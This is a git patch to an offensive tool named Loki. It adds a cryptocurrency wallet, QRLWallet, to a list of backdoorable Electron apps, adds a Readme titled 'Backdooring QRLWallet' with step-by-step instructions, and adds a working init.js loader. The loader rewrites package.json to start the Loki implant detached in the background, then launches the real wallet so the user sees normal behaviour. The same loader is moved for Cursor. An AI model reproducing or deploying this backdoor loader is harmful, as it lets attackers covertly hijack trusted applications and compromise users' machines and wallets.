From 1707275039b170614db5bbda510e9e3316e2e236 Mon Sep 17 00:00:00 2001 From: OnlySmrtSumX Date: Tue, 15 Apr 2025 10:47:35 -0400 Subject: [PATCH] moved init.js from Proxyapp > Proxyapp/Cursor Added Proxyapp/QRLWallet Added init.js to Proxyapp/QRLWallet Added Readme.md to Proxyapp/QRLWallet Updated main Readme.md to Add QRLWallet to known vulnerable list --- README.md | 1 + proxyapp/{ => Cursor}/init.js | 158 +++++++++++++++++----------------- proxyapp/QRLWallet/Readme.md | 28 ++++++ proxyapp/QRLWallet/init.js | 79 +++++++++++++++++ 4 files changed, 187 insertions(+), 79 deletions(-) rename proxyapp/{ => Cursor}/init.js (96%) create mode 100644 proxyapp/QRLWallet/Readme.md create mode 100644 proxyapp/QRLWallet/init.js diff --git a/README.md b/README.md index c5bbdcd..830dea7 100644 --- a/README.md +++ b/README.md @@ -116,6 +116,7 @@ First you need to identify a vulnerable Electron application which does not do A | ✅ | [azuredatastudio](https://azure.microsoft.com/zh-cn/products/data-studio/) | `azuredatastudio.exe` | `1.51.1` | [Adnnlnistrator](https://github.com/Adnnlnistrator)| | ✅ | [atom](https://atom-editor.cc/) | `atom.exe` | `1.60.0` | [Adnnlnistrator](https://github.com/Adnnlnistrator)| | ✅ | [Bruno](https://www.usebruno.com) | `Bruno.exe` | `2.1.0` | Tyler Schultz | +| ✅ | [QRLWallet](https://www.theqrl.org/) | `QRLWallet.exe` | `1.8.1` | [OnlySmrtSumX](https://www.linkedin.com/in/onlysmrtsumx/) & [tideboss](https://www.linkedin.com/in/kursad-dev/)| | ❌ | 1Password | `1Password.exe` | | | | ❌ | Signal | `Signal.exe` | | | | ❌ | Slack | `slack.exe` | | | diff --git a/proxyapp/init.js b/proxyapp/Cursor/init.js similarity index 96% rename from proxyapp/init.js rename to proxyapp/Cursor/init.js index 8a4935f..65f80c7 100644 --- a/proxyapp/init.js +++ b/proxyapp/Cursor/init.js @@ -1,79 +1,79 @@ -const { app, BrowserWindow } = require('electron'); -const path = require('path'); -const fs = require('fs'); -const { spawn } = require('child_process'); - -const projectRoot = __dirname; -const packageJsonPath = path.join(projectRoot, 'package.json'); - -async function getPackageMain() { - return JSON.parse(fs.readFileSync(packageJsonPath, 'utf-8')); -} - -async function modifyPackageJsonAndRelaunch() { - try { - const initPackageJson = await getPackageMain(); - const originalMain = initPackageJson.main; - console.log(`originalMain: ${originalMain}`); - - initPackageJson.main = 'main.js'; - console.log(`lokiMain: ${initPackageJson.main}`); - - fs.writeFileSync(packageJsonPath, JSON.stringify(initPackageJson, null, 2)); - - console.log('Updated package.json. Relaunching Electron...'); - - const loki = spawn( - process.execPath, - ['.'], - { - cwd: projectRoot, - detached: true, - stdio: 'inherit', - } - ); - - loki.unref(); // Let it run independently - - await new Promise(resolve => setTimeout(resolve, 1800)); - - const lokiPackageJson = await getPackageMain(); - lokiPackageJson.main = './out/main.js'; - lokiPackageJson.private = true; - lokiPackageJson.type = 'module'; - console.log(`Changed packages.json "main" to "${lokiPackageJson.main}"`); - fs.writeFileSync(packageJsonPath, JSON.stringify(lokiPackageJson, null, 2)); - - console.log('Updated package.json. Relaunching Electron...'); - - // Launch real Cursor app - const cursor = spawn( - process.execPath, - ['.'], - { - cwd: projectRoot, - stdio: 'inherit', - } - ); - - cursor.on('exit', async (code, signal) => { - console.log(`Cursor exited with code ${code}, signal ${signal}`); - try { - const resetPackageJson = await getPackageMain(); - resetPackageJson.main = originalMain; - delete resetPackageJson.private; - delete resetPackageJson.type; - console.log(`Restored "main" to "${resetPackageJson.main}"`); - fs.writeFileSync(packageJsonPath, JSON.stringify(resetPackageJson, null, 2)); - } catch (err) { - console.error('Failed to restore original package.json:', err); - } - app.quit(); - }); - - } catch (error) { - console.log(`[!]Error : ${error.stack}`); - } -} - -modifyPackageJsonAndRelaunch(); +const { app, BrowserWindow } = require('electron'); +const path = require('path'); +const fs = require('fs'); +const { spawn } = require('child_process'); + +const projectRoot = __dirname; +const packageJsonPath = path.join(projectRoot, 'package.json'); + +async function getPackageMain() { + return JSON.parse(fs.readFileSync(packageJsonPath, 'utf-8')); +} + +async function modifyPackageJsonAndRelaunch() { + try { + const initPackageJson = await getPackageMain(); + const originalMain = initPackageJson.main; + console.log(`originalMain: ${originalMain}`); + + initPackageJson.main = 'main.js'; + console.log(`lokiMain: ${initPackageJson.main}`); + + fs.writeFileSync(packageJsonPath, JSON.stringify(initPackageJson, null, 2)); + + console.log('Updated package.json. Relaunching Electron...'); + + const loki = spawn( + process.execPath, + ['.'], + { + cwd: projectRoot, + detached: true, + stdio: 'inherit', + } + ); + + loki.unref(); // Let it run independently + + await new Promise(resolve => setTimeout(resolve, 1800)); + + const lokiPackageJson = await getPackageMain(); + lokiPackageJson.main = './out/main.js'; + lokiPackageJson.private = true; + lokiPackageJson.type = 'module'; + console.log(`Changed packages.json "main" to "${lokiPackageJson.main}"`); + fs.writeFileSync(packageJsonPath, JSON.stringify(lokiPackageJson, null, 2)); + + console.log('Updated package.json. Relaunching Electron...'); + + // Launch real Cursor app + const cursor = spawn( + process.execPath, + ['.'], + { + cwd: projectRoot, + stdio: 'inherit', + } + ); + + cursor.on('exit', async (code, signal) => { + console.log(`Cursor exited with code ${code}, signal ${signal}`); + try { + const resetPackageJson = await getPackageMain(); + resetPackageJson.main = originalMain; + delete resetPackageJson.private; + delete resetPackageJson.type; + console.log(`Restored "main" to "${resetPackageJson.main}"`); + fs.writeFileSync(packageJsonPath, JSON.stringify(resetPackageJson, null, 2)); + } catch (err) { + console.error('Failed to restore original package.json:', err); + } + app.quit(); + }); + + } catch (error) { + console.log(`[!]Error : ${error.stack}`); + } +} + +modifyPackageJsonAndRelaunch(); diff --git a/proxyapp/QRLWallet/Readme.md b/proxyapp/QRLWallet/Readme.md new file mode 100644 index 0000000..2d282a6 --- /dev/null +++ b/proxyapp/QRLWallet/Readme.md @@ -0,0 +1,28 @@ +## Backdooring QRLWallet and Keeping the application working as normal + +**Important Note: This requires QRLWallet, to be ran as administrator, due to the permissions requirement of the default installation directory: Program Files (x86)** + +For doing this you will need to: +- Download the QRLWallet app +- Paste all Loki files except `package.json` to `QRL\app-1.8.1\resources\app` + - Don't replace the real `package.json` +- Copy `/loki/proxyapp/QRLWallet/init.js` to `QRL\app-1.8.1\resources\app` +- Modify contents of `QRL\app-1.8.1\resources\app\package.json` to: + - set `"main":"init.js",` + +### How this works +- With these changes `qrlwallet.exe` will load in `init.js` on click / execution +- `init.js` reads in `package.json` +- `init.js` changes `"main":"init.js",` -> `"main":"main.js",` + - `main.js` is Loki +- `init.js` spawns and disowns a new `qrlwallet.exe` which points to Loki +- __Loki is spawned in the background__ +- `init.js` reads in `package.json` again +- `init.js` changes `"main":"main.js",` -> `"main":"index.js",` + - `index.js"` is the real QRLWallet application +- `init.js` spawns and disowns a new `qrlwallet.exe` which points to the real QRLWallet +- __Real QRLWallet app is spawned, visible and operates as normal__ +- When QRLWallet is exited by the user: + - `init.js` catches the exit + - `init.js` reads in `package.json` for a third time + - `init.js` changes `"main":"index.js",` -> `"main":"init.js",` \ No newline at end of file diff --git a/proxyapp/QRLWallet/init.js b/proxyapp/QRLWallet/init.js new file mode 100644 index 0000000..8172b2c --- /dev/null +++ b/proxyapp/QRLWallet/init.js @@ -0,0 +1,79 @@ +const { app, BrowserWindow } = require('electron'); +const path = require('path'); +const fs = require('fs'); +const { spawn } = require('child_process'); + +const projectRoot = __dirname; +const packageJsonPath = path.join(projectRoot, 'package.json'); + +async function getPackageMain() { +return JSON.parse(fs.readFileSync(packageJsonPath, 'utf-8')); +} + +async function modifyPackageJsonAndRelaunch() { + try { + const initPackageJson = await getPackageMain(); + const originalMain = initPackageJson.main; + console.log(`originalMain: ${originalMain}`); + + initPackageJson.main = 'main.js'; + console.log(`lokiMain: ${initPackageJson.main}`); + + fs.writeFileSync(packageJsonPath, JSON.stringify(initPackageJson, null, 2)); + + console.log('Updated package.json. Relaunching Electron...'); + + const loki = spawn( +process.execPath, +['.'], +{ + cwd: projectRoot, + detached: true, + stdio: 'inherit', +} + ); + + loki.unref(); // Let it run independently + + await new Promise(resolve => setTimeout(resolve, 1800)); + + const lokiPackageJson = await getPackageMain(); + lokiPackageJson.main = 'index.js'; +// lokiPackageJson.private = true; +// lokiPackageJson.type = 'module'; + console.log(`Changed packages.json "main" to "${lokiPackageJson.main}"`); + fs.writeFileSync(packageJsonPath, JSON.stringify(lokiPackageJson, null, 2)); + + console.log('Updated package.json. Relaunching Electron...'); + + // Launch real QRLWallet app + const qrlwallet = spawn( +process.execPath, +['.'], +{ + cwd: projectRoot, + stdio: 'inherit', +} + ); + + qrlwallet.on('exit', async (code, signal) => { +console.log(`QRLWallet exited with code ${code}, signal ${signal}`); +try { +const resetPackageJson = await getPackageMain(); +resetPackageJson.main = originalMain; +delete resetPackageJson.private; + delete resetPackageJson.type; +console.log(`Restored "main" to "${resetPackageJson.main}"`); +fs.writeFileSync(packageJsonPath, JSON.stringify(resetPackageJson, null, 2)); +} catch (err) { +console.error('Failed to restore original package.json:', err); +} +app.quit(); + }); + + } catch (error) { +console.log(`[!]Error : ${error.stack}`); + } +} + +modifyPackageJsonAndRelaunch(); \ No newline at end of file